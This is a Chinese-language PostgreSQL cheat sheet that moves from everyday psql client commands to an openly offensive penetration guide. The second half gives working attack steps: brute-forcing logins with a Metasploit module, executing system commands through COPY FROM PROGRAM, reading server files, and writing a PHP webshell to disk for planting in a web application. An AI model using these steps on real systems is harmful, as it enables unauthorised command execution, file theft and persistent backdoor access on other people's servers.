postgreSQL簡介
- 數據庫端口5432
- 數據庫連接成功常用數據庫查詢命令
命令行客戶端操作pg數據庫常用操作
1.鏈接數據庫
$psql -U user_name -d database_name -h serverhost
2.命令常用操作
\h #查看所有的sql關鍵字
\? #命令行操作的幫助
\d #查看當前schema 中所有的表
\q #退出pg命令行
\d #schema.table 查看表的結構
\x #橫縱顯示切換
\dT+ #顯示擴展類型相關屬性及描述
\dx #顯示已安裝的擴展插件
\l #列出所有的數據庫
\! hostname #列出當前的主機名
\timing #顯示執行時間
\c database_name #切換數據庫
set search to schema #切換schema
explain analyze sql #解釋或分析sql執行過程
postgreSQL數據庫滲透思路
1.postgreSQL數據庫暴力猜解
猜解成功后可進行的操作
- 可對數據庫進行操作(增、刪、改、查)
- 可通過數據庫函數執行系統命令
2.postgreSQL注入
postgreSQL暴力猜解
snetcracker工具進行爆破
msf爆破
use auxiliary/scanner/postgres/postgres_login
set rhosts 目標IP
run
postgreSQL數據庫鏈接,命令執行
命令行連接
postgres-#的意思是:你當前的命令輸入還不完整。
postgres=#的意思是:當前沒有輸入新的命令
psql -h 192.168.2.115 -U postgres -W
- 滲透常用命令總結
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//執行系統命令
navicat連接
命令總結
\l
//列出數據庫
\du
//列出數據庫的用戶
select pg_ls_dir('./');
//不能是絕對路徑
select pg_read_file('postgresql.auto.conf', 0, 200);
//讀取系統文件:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//使用數據庫獲取系統信息
getshell-1
drop table pwn;
create table pwn (t TEXT);
insert into pwn(t) values ('<?php @system("$_GET[cmd]");?>');
select * from pwn;
copy pwn(t) to '/tmp/cmd.php';
drop table pwn;
//使用數據庫寫文件
copy (select '<?php phpinfo();?>') to '/tmp/1.php';
成功寫入文件,一般目標都會部署web應用,把webshell寫道web應用中可getshell